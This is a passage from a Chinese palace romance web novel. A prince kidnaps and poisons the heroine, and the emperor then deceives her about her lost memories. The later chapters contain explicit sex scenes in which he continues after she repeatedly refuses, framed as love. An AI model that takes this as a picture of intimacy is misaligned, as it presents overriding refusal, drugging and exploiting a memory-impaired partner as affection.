片刻后,他又从怀中拿出一个木匣,并取出里面药丸强行塞到她嘴里,逼她吃下去,“吃!给本王吃下去!” 不知道那药是什么,但不用想也知不是好东西,沈念咬紧牙关,抵御那药丸进入口中,“不要……我不吃!你拿开!” 然,无论她如何抵抗都没有用,男人粗暴的手指掰开小姑娘的唇瓣,硬生生将那药丸塞进她的嘴里,一股苦腥味霎时间蔓延开。 “你给我吃的什么?” 沈念盯着他,却见对方眼底,满是不屑与玩味。 她吃下药后,怀王笑得更甚,“好东西啊,能帮你报仇的好东西,你该感激我呢!” 那药除了苦还带着浓烈的腥味,尽管她通医术,也不曾闻到过这种药。 “你卑鄙无耻,欺负我一个弱女子,算什么本事?”沈念试图吐出口中的药,却不料已经咽下去,怎么也吐不出来, 见沈念这般狼狈不堪,怀王把玩着手中的木匣,戏谑开口:“沈念,你是他的女人啊,本王没把你杀了,就算仁至义尽,再多说一句话,本王就先糟蹋你,然后再杀了你。” 吃下药后的沈念起初并没有什么不适,直到片刻后,她浑身冒着冷汗,一阵冷一阵热,什么力气都没有,只能掀开眼皮,看着那男人站在她身前,对她笑。 而那笑是嘲讽,是无边无际的嘲讽。 夜里,怀王将她拖出破庙,她不知道他要带着她去做什么,吃下药后已力气全无,不能反抗,只能任他拽着走。 他警告道:“老实点!乖乖跟本王走,否则别怪本王不客气!杀了你!” 几息后,怀王拖着她上了后山,不久在一处山崖前停下。 对方将她禁锢在怀中,手中的短剑从腰肢滑到脖颈,“接下来,好戏要开场了。” 他们身后是万丈悬崖,一个不小心都容易掉下去,从而尸骨无存,沈念脊背阵阵发寒,咬牙骂道:“你个疯子……你到底要做什么?” 说罢,怀王的短剑更加靠近她的脖颈,狠下声音,“你莫要多嘴,否则本王就杀了你!” 沈念没敢动,颈间的肌肤,感受到微凉的刀刃,她忍不住战栗。 她真的很怕疯男人一时发疯,真的杀了她,他真的太疯了,而且还是偏执,不怕死的疯。 不过片刻,他们身前突然围过来一群侍卫,看样子是宫内的御林军。 是裴争来救她了么? 沈念虽厌恶裴争,但此刻背怀王胁迫,为了活下去,她不得不将所有希望寄托在那个男人身上。 侍卫围上来,怀王带着她后退几步,“你们都别过来!再过来我就杀了她!” 这时从侍卫中大步行来一个人,只一眼,沈念便瞧出那人是裴争,他的目光落在她身上,先是细细打量,而后他朝着御林军开口: “都别动!” “裴昭!你好大的胆子,竟敢劫持朕的女人?嗯?你给朕放开她!朕开恩留你一条命!否则……朕让你死无葬身之地!” 他见那短剑直直抵在小姑娘的脖子,已渗出血迹,再靠近几分,她就会死。 裴争眼中现了浓重的杀气,周身的压迫感更加骇人,话语几乎从是牙缝中挤出来,“别动她!” 若是他手里没有沈念,他定然将其碎尸万段。 帝王越是恼怒,怀王越是愉悦,最后竟笑出声:“裴争!没想到有一天,你也会低声下气来求我,看来这个女人对你来说,真的很重要呢?” “不如……我杀了她?让你给她收尸!” 他手中的短剑更加贴近沈念的脖子,这时她有种刺痛感,颈间的肌肤已被划伤,渗出血来。 她疼得轻轻嘶了一声,却没动,只看着裴争,看清他眼底有着从未见过的急色。 她从未见过裴争如此失控的模样。 他竟然这般在意她? “住手!裴昭!”裴争急得上前一步,“朕知道你想要什么,不就是贤妃的骨灰么?朕今日交给你,莫要伤她!” 裴昭手上一顿,望向裴争时,眸子里带着半信半疑,“你说的是真的?” “这自然是真的,长戈呈上来!” 一声令下后,身后的长戈端出瓷罐。 “裴昭,放了她,朕便将你娘亲的骨灰还你。” 看到瓷罐,怀王红了眼眶,只片刻他又压下那股情绪,笑了一声,“好啊,不过裴争,你要放下佩剑,亲自将骨灰送来,并跪下呈给我。” 第66章 此话一出,在x场的所有人脸色无疑骤变,眼前的这位怀王劫持帝王的女人,竟还要让他跪下来。 那可是当今帝王,怎能被他如此折辱? 所有人都以为帝王会直接下令将怀王处死,不会顾及那位姑娘。 沈念看着裴争点漆的眸子锁着她,那双眼眸含着别的什么,她看不懂,也参不透。 不过她知晓裴争是什么样人,什么性格,根本不可能因为她去下跪,他是帝王,是天下之主,而她呢?是总想逃离他,一次次忤逆他的女人。 他若是真能下跪, 那他就不是裴争。 怀王眼前的帝王不说话,看向他的眼神凌厉,压迫十足,他再度开口问: “裴争,你愿不愿?若是不愿,我就杀了你的女人!并将她推下悬崖,尸骨无存!” “裴争,我知道你爱她,你忍心看着她死在我的手中么?” 他知道裴争不会弃沈念于不顾,今日能来就证明他的猜测很对。 裴争爱她,爱到可以付出性命。 此前他还在为如何对付裴争而发愁,直到沈念出现,帝王有了软肋,只要将他的软肋擒在手中,还不是任他拿捏。 裴争的眸光越发森寒,语气冰冷:“裴昭!朕答应你,你莫要动她!朕都答应你。” 他真的很害怕失了理智的裴昭会一剑杀了沈念,他从来没有害怕过,然而眼下他却清晰地感觉到心口涌起的慌乱,怕到手在微微颤抖。 只要能救下沈念,他付出什么都愿意。 他竟然愿意—— 沈念心潮翻涌,她没听错么?裴争居然会为了她而答应此事? 她望向裴争,那副模样分明如同往日那般凌冽,而那眼神却蕴着深情,同往日的欲色不同。 她眼中不知为何涌出泪水来,“不要!裴争……” 她不想让裴争救她,她恨他,恨他的折磨,眼下愿意下跪去救她,那她的恨算什么? 他是不是想要用这份恩情,威胁她去做他的笼中雀? 她不愿意,更不能。 “你给本王闭嘴!”怀王捏了一下的腰肢,贴着她的耳畔警告,再次看向裴争得意笑着:“果然,英雄难过美人关,你裴争也有今天!” 这软肋,他真是劫持对了! 今日定要让裴争好看! “莫要碰她!朕过去!” 裴争转身接过长戈手中的瓷罐,他绝对不会眼睁睁看着沈念被人杀死。 身前的长戈却没松手,开口劝道!“陛下!不可啊!” 当今帝王怎能给一位乱臣贼子下跪?若是传出去颜面何存? “臣还请陛下三思!” “松手!”裴争夺过瓷罐,神色不虞,声音没有丝毫起伏,“敢违抗圣旨么?” 听令,长戈当即松开手,跪在地上,“是,属下遵旨!” 接过瓷罐后,裴争卸下身侧的帝王剑,扔给长戈,而后一步步向沈念迈去。 沈念看着男人步步靠近,她摇着头,“不要……裴争,你不要过来!” 她不想欠裴争恩情,更不想日后被他以恩情威胁。 然而无论她如何拒绝,那帝王却仍还是坚定地迈着步子,走到怀王身前后,他撩起龙袍,双膝弯下,跪在地上,将瓷罐呈给怀王。 在场所有人皆屏息凝神。 看着那样高傲,自大的帝王,因为一个女人,下跪去乞求,身上的傲骨被一点点刮去,最后什么都不剩。 他为沈念,愿意下跪。 他狠辣,无情,这一生从未求过任何人,也不会向任何人低头,如今竟跪在地上,向他讨厌的人妥协。 他大抵是疯了。 寒风吹来,周遭忽然扬起轻雪,男人得衣摆在风中摇晃,亦有雪落在他头上,他再也不是曾经那个高傲的帝王,眼中写满了毫无保留的深情,是对沈念的。 沈念没想到他会这般,愣了片刻后,她才回过神,心狠狠抽动着。 “裴争……” 她想说话,却什么都说不出来。 怀王看着跪在地上的帝王,故意没接过,开怀大笑:“裴争啊裴争,没想到有一天,你会给我跪下,你同你父皇一样,就是一个怪物。” “不配拥有爱,更不配被人爱!” 说罢,他眸色闪过狠辣的神情,接过裴争手中的瓷罐后,咬着牙道:“裴争,我也要让你尝尝什么是失去滋味。” 他执起短剑向沈念刺去。 而这时的沈念见那剑刺来,双眸骤然放大,脑中更是“轰”的一声,她觉得自己死定了,本能地后退发出颤抖破碎的尖叫, “不要!” 她不想死。 就在眼下千钧一发之际,裴争起身冲过来,抱住她,将她紧紧护在怀中。 随后只能“吡”的一声,那剑捅在裴争淡淡右肩,顷刻,他们二人倒在地上。 裴争压在她身上,霎时间殷红的血洇染他的衣物,就连嘴角溢出几滴血,一滴一滴,落在她胸口的衣物。 “裴争!”沈念当即被吓得哭出声,“来人!快来人!” 怀王此时已经变得疯魔,他没有逃,反而是看着地上的两个人,大笑:“裴争,你以为你能救得了她么?她早晚会死的,你若是不想让她死,你就会死。” “这是臣弟给你留下的礼物呢,你可要慢慢死……” 话音落,他抱着瓷罐转身跳入悬崖,他本就不想活了,只不过想带着他娘亲的骨灰一切,消失在这世上。 见帝王受伤,长戈迎上前去,扶起帝王,倚靠在一旁石壁之上。 沈念的泪水止不住从眼中流出来,声音颤抖, “裴争,我恨你,你为何要救我?” “谁让你替我挡剑了?” 裴争嗤笑一声,脸上却无半点笑意,“朕想做什么就做什么,用不着别人同意。” 他的语气还是一贯的不屑,只不过此时,眸中却无狠辣,甚至多了几分柔情。 “卿卿,你是朕的女人,除了朕,任何人都不准伤害你。” “裴争!你……” 沈念哭得更凶了,她难受,委屈,他到底为何要不顾一切救她? 他不是混蛋么?不是非要折磨她么?从碰到他后,一直……一直都在强迫她,伤害她,当后妃,生孩子…… 一桩桩一件件,都伤她至深, 眼下为何要让她的恨无处安放? “裴争,你以为你救了我,我就会感激你,然后乖乖做你的笼中雀么?” “我不会,裴争,我不会。” “我还是恨你,真的恨你……” 小姑娘越说,哭得越凶,到最后上气不接下气,裴争试图靠近沈念,却疼得嘶了一声,“沈念,莫要哭了,朕知道你恨。” “你若是恨朕,就拿剑杀了朕,你舍得么?卿卿……” “我恨你,裴争,我恨你,别以为我不敢杀你!” 沈念看着他背后的血越流越多,滴在雪上,染红了积雪,她不知是被怀王吓得,还是如何,心中就像是被万蚁蚀心,喉咙被扼制住,再也无法呼吸。 就如同被置在烤架上,反复炙烤,最终,她再也支撑不住,倒在地上。 * 帝王回宫时,封锁太极殿,并告诫殿内所有人,不能将沈念回宫和他受伤的消息说出去。 违令者,杀无赦。 偏殿,太医为裴争处理完伤口后,他便去寝殿看沈念。 刚迈入寝殿便闻到一股强烈的苦药味,他绕过屏风,才见到榻上的沈念双眸紧闭,脸色惨白,额间却不断渗出细密的冷汗,唇惹泛着不正常的青灰。 裴争眉心轻蹙,走近后朝着太医问了句,“她如何了?” 他以为沈念只是简单晕倒,毕竟她被人劫持,折腾许久。 太医擦了擦头上的汗,行礼:“陛下,依臣来看,娘娘晕倒并非惊恐过度,而是中了蛊毒。” “蛊毒?”裴争慢慢挑眉,想起他们二人曾中过情蛊,那时他便怀疑是裴昭所下,他竟还敢对沈念下同样的蛊,“还是情蛊么?” “要朕来解么?” 太医摇了摇头,神色凝重:“回陛下吩咐并非如此,这次娘娘所中与上次的截然不同……这次的蛊,会扰娘娘心神,直至油尽灯枯……若要解此蛊,需寻一人精血为引,以阴阳交融之法将蛊毒引至体内,但引者也要承受噬心之苦,轻则折损寿命,重则性命难保啊,陛下!” “你说朕给她解蛊,会伤害到朕的身子么?” “是陛下,解蛊之人必会伤身。” 裴争静默片刻,原来裴昭死前的那番话,是这个意思。 他不会看着沈念死,所以无论如何他都会给她解蛊。 “无妨,”裴争语气不容置疑,“你们都下去。” 太医地,哀求:“陛下三思啊,此蛊凶险,尚不知解法,恐会伤及性命!陛下龙体关乎江山社稷,陛下三思x!” 裴争没多说什么,只重复两个字,“退下。” “是……”太医不敢再多说,退出殿内。 殿内终于只剩下他与沈念,他缓步行了过去,坐在她身侧,手指抚过她的脸颊,语气低沉,“卿卿,你恨朕,朕知道。但你的命,是朕的。没有朕的允许,阎王也不能把你从朕身边带走。” “朕就算死,也要救你。” 接着,他俯身吻向她的唇,“卿卿,朕这次并非趁人之危。” 几息后,纱帐缓缓垂落,只有断断续续的压抑闷哼和嘈杂的声响,回荡在整个殿内。 第67章 沈念处于沉睡中,什么都听不到,只觉得身子哪哪都不舒服,涌起一股难以言喻的燥热,不知持续多久,一缕凉意拂过,抚去那份燥热。她一时仿若飘在云端,一时如溺在水中。 梦中,有人唤她沈念,又有人唤她卿卿,那人身着月白色素袍,拥她入怀,轻轻吻她的额头,珍重如待珍宝。 然而就在他们的唇要吻在一起时,身侧却忽然出现另一个男人,将她抢入怀中,手臂紧紧揽着她的腰肢,一遍遍索吻,不容她闪躲。 他发了疯地占有, 似要将她吃进肚子里。 沈念竭力挣扎,却因力量不敌,最后只任着他对自己放肆。 那股恐惧与疼痛袭来,她猛地睁开眼,捂着胸口急促喘息,没等平复呼吸,只见身前的男人却攥住她的手,语气温和:“卿卿,你醒了?还有哪里不适?” 那男人有着一张极好看的脸,只是仅仅凝视,他漆黑眸子涌出的压迫让人窒息,但看向她时却染起几丝温柔。 话音落,他朝她靠过来,似要将她揽入怀中,沈念顿时神色慌张躲向榻里,不让他近身,“你……你是何人?” 裴争陡然一愣,手臂停在半空无处安放,他眉头紧锁,凝视着她问:“卿卿不记得朕了?嗯?” 他才刚为她解完蛊毒,她怎就能不记得他?是装的……还是真的不记得? 朕?眼前的人是皇帝么? 沈念没答话,垂眸时发觉自己身上的衣服贴着肌肤,且很单薄,身形若隐若现。 她慌张地将被褥裹紧身上,指尖紧紧攥着被角,“你……你自称朕,你是皇帝么?为何我会在这里?我怎么什么都不记得了?发生了什么?” 裴争自幼对任何事皆见微知著,审视她片刻,心下已确认她不是装的,而是因蛊毒忘记此前的事。 他靠近将沈念攥着被褥的手一点点掰开,握入掌心,“卿卿,朕是你的夫君,当今陛下,而你是朕的皇后。” 皇帝?皇后? 闻言,沈念只觉头痛欲裂,她不是才过及笄,就嫁当今皇帝成为皇后了? 眼前的男人她明明很熟悉,却怎么也想不起来一点关于他的记忆。 她再次开口,颤着声音问:“我……我何时嫁给你的?我又为什么会忘记?” 裴争并不着急,而是缓缓开口:“朕同你出游,你却不慎被贼人劫持,摔伤了头,才会不记得一切。” “不过卿卿放心,朕会帮你记起来的。” “可是我记得自己才过及笄,” 沈念抓住那男人的臂弯,就如同抓住救命稻草一样,因为她谁都不认识,也不知发生了什么,只有通过眼前这个自称为夫君的男人,她才能了解一切, “你……你能否同我讲讲,都发生了什么?我是怎么嫁给你的?” 刚过及笄?裴争唇角缓动,原来她的记忆停留在那个时候,他攥住沈念的手,见她眸中对他再无恨意,而是依赖。 他心情大好,耐心解释:“卿卿嫁与朕,已有四年,你同朕是在一场宴会上相识,朕对你一见倾心,并恳求沈国公将你嫁给朕为太子妃,彼时朕还是太子,后来朕登基封你为后。” “卿卿同朕恩爱,举案齐眉,且育有一子。” 听着身侧男人一句一句地说着,沈念眼睫颤动,眼底浮现淡淡的惊异,没想到成为皇后也就罢了,竟还生了一个孩子? 她愣了好一会儿才说出话,语气很轻,“我……我同你有孩子?” 这一切都太过于突然,记忆明明还停留在十五岁那年,她还是待字闺中的少女,怎么就生下一个孩子? 还是和眼前的陌生男人。 沈念抬眼看着他,那双深邃莫测的双眸泛着比方才还要迷离的色泽。 只是不知为何,看着看着她心底总萦绕着几丝惧意。 男人轻轩她的发丝,以作安慰:“嗯,你同朕的孩子,名叫裴昱,今年三岁,容貌像你,性子也像你。” “裴昱?昱……”沈念喃喃念着这个名字,心头莫名一软,与心底的某种情绪呼应,却想不起来他长什么样,“我能见见他么?” 那是她的孩子, 她想见一见。 裴争笑了一声,托住她的后腰,慢慢将她放在榻上盖上被襟,吻向她的额间,“卿卿听话,今日不行,你方醒,身子尚虚,改日,改日朕定让你们母子相见。” “先躺下好好歇息。” 榻上的人轻轻点了点头,用着一双可怜且泛着水光的眼眸望着他,乖顺应声:“好……” 她已忘记此前的事,眼下只能信裴争,毕竟醒来见的第一个人是他,也能看出对方眼底蕴着深情,所以她信他。 接着,她乖乖躺在榻上,眼神却没离开裴争,直到看着他离开,她才缓缓入睡。 这边的裴争离开寝殿,迈向御书房,忆起方才沈念依赖般的眼神,他低笑一声,吩咐:“姚元德,传王太医。” 几息后,王太医进殿跪在地上,行礼:“老臣参见陛下!” “起来,”裴争冷声问:“王太医,为何皇后娘娘会失去记忆?” 王太医身子一僵,紧紧锁着眉头,“失去记忆……这陛下,许是因娘娘所中蛊毒太过于霸道,娘娘才失去记忆。” 裴争再度开口问:“因为蛊毒么?那她何时能恢复?” 王太医跪在地上,“这……陛下,娘娘的记忆可能在一瞬间就恢复,也有可能永远不会恢复,这一切都尚未可知啊!陛下!” “你是说她也有可能会记起来?”裴争搓着手上的玉扳指,默了两息,“有没有办法,能让她永远想不起来?” 他承认自己卑鄙无耻,希望沈念永远都不要想起来,这样他就可以和她重新开始。 忘掉过去他对她的伤害,从此她的生活中,只有他一个人。 那个草包宋淮之只能随着沈念消失的记忆而埋藏在心底,最后她完完全全属于他一个人。 王太医先是一愣,他还以为帝王会让他尽力治好皇后,没想到是让那位娘娘永远想不起来? “这……陛下,娘娘此事特殊,臣也不知如何才能让她想不起来,臣觉得娘娘记忆一事,应当顺其自然,否则会伤及娘娘身子,得不偿失。” 闻太医并无办法让沈念永远想不起来,裴争揉了揉眉心,道了句:“下去吧,朕知道了。” 得令,王太医如释重负,快步退了下去。 * 寝殿的沈念在裴争走后,迷迷糊糊睡过去,次日醒来已是午时,听身侧的宫女说,帝王昨日夜里来过,看她睡得沉,没扰她清梦,不久就离开了。 她此时仍不太敢相信自己嫁给帝王成为皇后,尤是那帝王还对自己深情款款。 起身时,宫女服侍她换衣,脱下寝衣后,沈念见自己身上青一块紫一块的,布满痕迹。 宫女见她身上的痕迹,皆低下头不敢瞧,沈念自然知晓身上的到底是什么,她当即用外衣裹住自己,两腮立刻红到耳根去,声若蚊吟:“你……你们都退下,我……我自己穿。” 在沈府时,她从不习惯他人服侍穿衣,更别提眼下她身上还有男人留下的欢好痕迹。 宫女退下后,沈念走到铜镜前,劝了自己一会儿,才有勇气打开外衣,她仔细瞧了瞧,除了颈间,胸前……一路蔓延到后腰。 虽然已经忘记,但看着身上的痕迹,也能想象到那男人是如何动情,在榻上如何激烈。 想到这里,沈念白玉般的脸颊飞上两朵红云,像火烧一般,看来帝王口中说他们十分恩爱是真的,不然怎么能在榻上这般……和谐。 换好寝衣后,宫女进殿布膳,说是裴争特意,她的午膳清淡为主,宫女们皆在一旁感叹帝王对她好,将她放在心上,万事都替她想得周全。 沈念虽知那男人眼下确实事事体贴,可她总觉得自己像是忘记了重要的事,而这件事定与他相关,始终悬在心头,久久不落。 而就在她刚要动筷用膳时,殿外宫人前来吩咐,“娘娘,小殿下在外想见娘x娘,可要请进来?” 小殿下…… 沈念心头一动,想起昨日裴争同她说的话,他们之间有一个孩子,叫昱儿,她当娘的没去看孩子,反倒是孩子来见她。 “快,快请进来!” 几息后,门槛处,只见嬷嬷牵着一个小团子缓步走过来,那孩子小小的,锦衣华服,对上视线后,他跑过来扑进她怀中,一个劲地唤娘亲,不停啜泣。 似好久不见一样。 许是有心灵感应,沈念见他哭,心狠狠抽了一下,赶忙将他抱在怀中,擦去他眼尾的泪水,柔声安慰:“莫要哭了昱儿……娘亲在呢。” 在没见到裴昱时,她以为自己根本不会做娘亲,见到后,听到他的呼唤,就似本能反应一样,她会下意识心疼,会不忍,会自然地去爱。 裴昱很黏她,他们一同用膳,一同在榻上玩闹……直到天色已晚,裴昱才恋恋不舍回去。 不久,殿前的姚元德又传来消息,“娘娘,陛下口谕,让您今夜备着侍寝。” 第68章 不久,殿前的姚元德传来消息,“陛下,娘娘口谕,今夜让您备着侍寝。” 侍寝? 沈念惊得一颤,蓦地红了耳根,她忘记了许多,记忆还停留在未出嫁的姑娘时,哪里懂得如何侍寝? 她垂眸,手指紧紧攥着衣角,强忍着心慌道:“我……我能不侍寝么?” 她不会,也不想,今晨还见身上大片痕迹,不知道的还以为她被拉去掖庭用刑,一看那帝王就不知道节制,一定会弄得她很疼。 姚元德脸色微变,腰弯得更低,“哎呦,娘娘啊,这可是陛下圣旨,哪里能违抗?侍寝一事对宫妃来说,乃是荣宠,娘娘深得陛下宠爱,怎能推脱?” 他在宫里服侍半辈子,今儿倒是头一次见到宫里的娘娘不愿意侍寝!真是奇事。 听完姚元德的话,沈念也深知方才言论多有不当,毕竟眼下再怎么不适应,也是后妃,帝王让她侍寝,她哪里能推诿? 她缓缓吐出口气,“多谢公公,劳您回禀陛下,我这便准备侍……侍寝。” 说罢,她心砰砰狂跳,雪白耳根可耻地羞红。 “那老奴告退,娘娘您啊,好生等着陛下!” 姚元德退下后,沈念被身侧的宫女拉着沐浴更衣。寝殿的宫女是裴争特意挑选来的,侍寝规矩自然比她懂。 不过片刻,她便被推着入浴房,褪去衣物进了浴桶,身侧三两宫女服侍沐浴,又随手加入一些特别的香料。 沈念仔细闻了闻,却闻不出是什么香,她好奇问:“这是什么香料?” 味道很特别,她从未闻到过,比一般香还要好闻,身体更是产生一种难以言喻的软绵。 宫女没忍住笑出声,继续拿木勺往她身上浇水,“娘娘不必知晓它是什么,只要知道这是好东西,对娘娘有帮助。” “好东西?有帮助?” 沈念打量一眼身侧宫女的神情,在一瞬间她口中所说的帮助是什么,将自己缩进浴桶。 什么好东西? 她才不要。 几息后,沈念出了浴房,又在宫女的服侍下换上一件极薄的纱衣,回到寝殿。 她觉得身上这衣物实在薄,什么都遮不住,哪里可以见人,转身钻进被褥,将自己裹得紧紧的。 接着,殿外响起一阵脚步声,守在殿外的宫女口中说起“陛下”二字。 沈念知道是裴争来了,抿了抿唇,心口翻涌,向榻里缩去,脚步声越来越近,直到那男人绕过屏风,站在她身前,一言不发。 裴争轻轻拨开纱帐,看着榻上全身裹着被褥,只露出一个小脑袋的姑娘,似一只受惊的小兔子,一双猫儿眼泛着迷离的水光,柔弱又无辜。 他坐在她身侧,温声问:“嘶……卿卿怕朕?” 他能理解沈念害怕他,毕竟她失去记忆,还停留在刚过及笄的年岁,他的出现,就像是陌生人一样。 他也想过给她几日缓缓,可转念又一想,若是她突然恢复记忆,再也不让他靠近怎么办?不如趁着眼下,多同她亲近。 他们本就是夫妻,不该怕。 沈念没敢抬眼,颤着声音回话:“我不怕你,只是……我害怕侍寝。” 那男人说,他是她的夫君,她可以相信,可是他也是帝王,那双眸子透露出的压迫感,总让她瑟瑟发抖。 闻言,裴争更加靠近几分,慢慢解开她身上的被褥,低笑一声: “卿卿怕同朕亲近?” “可你同朕是夫妻,何止亲近?男女之事都是要做的,你难道还要一直不同朕亲近么?不让朕碰你?” 他的语气温和,与他那张凌厉逼人的脸庞,并不相符。 沈念低着头,没说话,不知不觉间身上的被褥已被男人剥得一干二净,既然已经同眼前的帝王成了夫妻,还生下孩子,她是不是不应该这般拘束? 好好的妻子,突然失忆,又不愿同他亲近,这样对那位帝王,似乎很不公平。 她终于抬头迎上男人的目光,小声解释道:“陛下,我失忆,今夜只是第一次同陛下在榻上……我好像不太会。” 她在闺阁中,哪里会这些? 听到沈念唤他陛下,裴争唇角缓动,褪去自己的衣袍后,他俯身将她压在身下,柔声开口:“卿卿不会,朕教你,好不好?嗯?” 姑娘身上那件纱衣极薄,一眼便能瞧见她绯红的肌肤,看来是宫女知趣,给她换上他,很合他心意。 “想朕碰你么?” 沈念偏过头,心中不禁思考这个问题,她想么?刚开始她确实心存畏惧,不想让男人碰她。 然而在他靠近后,身体就像被什么东西勾起一团火,很不舒服,却又不知道该如何平息,而眼前的男人,就是最好的良药。 “我……” 这种话,她说不出口,只羞赧地点了点头。她愿意,自幼在沈府学习礼数,连男女之事,认知中也应当是按照礼教那般,从未想过会如此大胆,竟要让她当一个男人的面承认,她想做那事。 裴争见她点头,内心止不住欢喜,这是三年来,沈念第一次愿意同他亲近,此前一直都是他强迫。 这次她终于心甘情愿,他再也忍不住,俯身吻向她的唇。 男人的吻如暴风雨落下,很急却又温柔,沈念被他吻得不知如何是好,脑中一片空白,最后只好掐着他双肩的肉,完全随着他的吻而回应,一点一点由浅入深,佸尖用力探去,掠夺她的一切。 吻罢,裴争将她肩膀上的纱衣脫至半要,霎那间姑娘泛红的肌肤显露在眼前,还留有一些若隐若现的痕迹。 他笑了一声,模上那些红痕,语气带着说不清的暧昧,“卿卿身上还有朕留下的痕迹,都怪朕下手不知轻重。” 他盯着她胸前的几处红痕,最后口勿上去,研磨口允口及。 沈念被激起一阵战栗,试图推开他,“不,不要……” 他怎么能吻她那里呢? “卿卿怕?”裴争抬头盯着她,眼底涌起的灼热似要将她吞噬,没等她回答,他的首便相吓探去,彻底脫下纱衣扔出去。 沈念咬着唇,手指攥着他的臂弯,“不要……你不要那样做。” 她的话带着颤音,怎料落在裴争耳中却带着几分欲拒还迎,他更加放肆,直到看沈念彻底忍不住,才抬起首。 “卿卿,不愿意朕这么做?” 看着那男人的手,在烛火映照下泛着晶莹,沈念涨红脸,什么都说不出来,只觉得羞耻,根本没脸见人,恨不得找条地缝钻进去。 看他那娴熟的模样不像第一次做,原来他们此前在榻上这般放肆? 真的不敢相信, 她此前怎么能放任他不管? 裴争见她不答话,双手拖着她的腰肢,褥了进入。 沈念身子本能一颤,轻吟一声,随着响起的嘈杂声,她全身越来越烫,没忍住开口劝阻:“我不要了……陛下,我受不住了,你快停下。” 无论此前他们在榻上怎么样,眼下她没有记忆,就是一个没有经历的姑娘,她不要了,再也不要了。 裴争俯身下来,贴着她的耳畔,动作却未减,“卿卿乖,此前可是你缠着朕,怎么眼下三两下就不要了?” “你这般,朕该如何是好?嗯?” “我……”沈念哭出声,却咬着唇,忍住不敢发出更大的声音,殿外守着宫女,寝殿有任何声响都听得到。 “你停下,我不要了……” 裴争的幅度小了些,吻向她的耳垂,故意让她发出泣音,“乖,卿卿受不住,朕今夜只要你一次。” 沈念不说话了,因为无论她如何说,那男人都不会停止,毕竟床榻x一事,她同他是夫妻,又哪有拒绝的道理? 最后,她不再挣扎,只好任着他,不知过了多久,那男人才停下,抱着她去了浴房,沈念最开始是不愿的,无奈他说,此前都是他抱着她去,两人共同清理身子。 沈念缩在男人的怀中,咬向他的锁骨,哭着开口:“都怪你,守夜的宫女一定听到我们的声响了,一定都听到了。” 都怪他不知节制,最后她哪里忍得住不发出声音。 裴争嗤笑一声,看着怀中的姑娘还是喜欢咬他,“听见又如何?卿卿这般惹人怜爱,朕哪里能忍住?嗯?不如下次你惩罚朕?” 听他这样说,沈念没话回应,乖乖让她抱着。 到了沐房后,沈念被男人抱着入水,她浑身无力,蜷缩在他的怀中,任由他伺侯,热水萦绕在周身,贴着肌肤很舒服,缓解不适。 周身腾腾雾气升起,沈念抬眸盯着眼前的男人,长相绝佳,身份又是当今帝王,此刻温柔体贴,方才在床笫间却强势索取,判若两人。 不过醒来后,她能清楚感受到,他很爱她,不过按理说她也应该爱他才是,可总觉得心中有什么不对,驱使着她远离,畏惧。 她似乎不应该同裴争如此亲密, 可到底是为什么?莫非发生过什么事?她受到伤害了么? 那男人似乎也察觉到她灼热的目光,转头看向她,然而就在此时,对上他那双幽深的眸子,沈念脑中忽地闪过惊恐的画面,猛地用力推开他,失声惊叫, “你!你放开我!裴争!” 第69章 “你,你放开我!裴争!” 沈念的话几乎是喊出来,话一说出口,就连她自己也微微愣住,她怎能如此大胆?唤当今陛下的名讳?此乃不敬之罪。 裴争垂眸看着怀中的姑娘,她呼吸急促,眸中满是惊恐,宛若惊弓之鸟,他心里一阵发凉,她是想起什么了?他的手臂下意识将她抱得更紧,试探性问:“卿卿这是怎么了?嗯?” 周身雾气未散,热气腾腾,脑中方才的记忆在一瞬间消失不见,沈念抱上男人的脖颈,将脸埋在他的胸前,“陛下……我方才想到一些可怕的回忆……有一张可怕的脸,很凶,他强迫我,伤害我……” 那些到底是梦?还是真实发生的? 她分不清。 裴争吻向她的头顶,动作轻柔,在极力安抚她,“卿卿定是你因为初醒,心神不宁,导致记忆错乱,幻想出来的,你同朕如此恩爱,朕怎么会凶你?又怎能容他人凶你?” 男人的目光专注而温柔,同记忆中那张狰狞的面容根本不同,记忆中的人欺负她,伤害她,而帝王对她是独有的温柔,怎能是记忆中的人,大概真的是自己忧思过度。 沈念乖乖点了点头,心中的慌乱却没平息,她仍对记忆中那份空白好奇,她缩在男人的怀中,片刻后,才小声问道:“陛下,能同我讲讲此前的事么?” 这三年来,她总要知道发生过什么。 裴争闷笑一声,手指若有若掠过她的腰肢,轻抚揉搓,“可以啊,卿卿想听什么事?” “我——” 三年,她没了三年的记忆,一时竟不知从何听起,怎料还未思虑清楚,那男人的手顺着的要肢镆下去,“朕说了,卿卿是不是也该给朕奖励?嗯?” 感受到那只得寸进尺的手,抚过她的肌肤,引起沈念身子一阵细微的战栗,本就软绵无力,这下更似化成一滩水,她轻轻抓住男人的手,“我不要……你拿开,我不要了。” “嗯?不要?”裴争没动,眼底掠过几丝得意的笑,俯身靠近她,低语:“卿卿喜不喜欢朕?不喜欢朕那样对你么?是哪里不舒服?嗯?” “卿卿说,朕都改。” 沈念脸色迅速蹿红,耳畔只剩下心跳的声音,她从未想过自己能嫁给这样的人,不正经的话信手捏来,还逗弄她,最重要的是,在男女之事上不知节制。 她低下头,声音带着恳求:“陛下,你很好,不需要改,只是我们刚刚有过……能否容我缓缓?” 看着她绯红的脸颊和闪躲的眼神,裴争没说话,再次俯身吻向她的颈间,匈前……最后握住她的首,向水芐探去,“卿卿累了,朕怎会不应?” “我……” 等她反应过来他的意图,早已为时已晚,耳畔响起更大的水声,伴随着男人逐渐粗重的喘息。 一切结束后,已是三更天,裴争将她打横抱上了榻,手臂揽住她的腰肢,将她紧紧圈入怀中,仿若她是失而复得的珍宝,不容他远离半分。 很黏人,比昱儿还黏人。 嗅着他身上淡淡的檀香,沈念起初感到有些不适,后来渐渐习惯后,倒不再反感,这香就像是给她留下很深的印象,大概是三年的朝夕相处,才让她熟悉。 缓了几息后,恢复些力气,她低声问道:“陛下,现在你能同我说说我们之间的事么?” 裴争咬了一口她的耳垂,声音低沉,“卿卿不累么?” 此时沈念听出他口中的不善,当即打断他的话,压下心中的慌乱:“我……我累,但我想知道我们之间发生过的事,我想了解多一点,陛下。” “你就告诉我一点也好。” 她就是想知道他们之间都发生过什么事,能不能通过这些事想起什么,不似眼下这般,大脑对于这三年是空白的。 皇宫,裴争,昱儿…… 她能感知到自己对他们的熟悉,可就是想不起来,一点也记不起来,偶尔闪过一张可怖的脸,还是因为记忆错乱。 裴争沉下声音,“朕不是说过,卿卿同朕相识于宫宴,接着同朕成亲,举案齐眉。” “那,你为何娶我?我不过是一介庶女,陛下……” 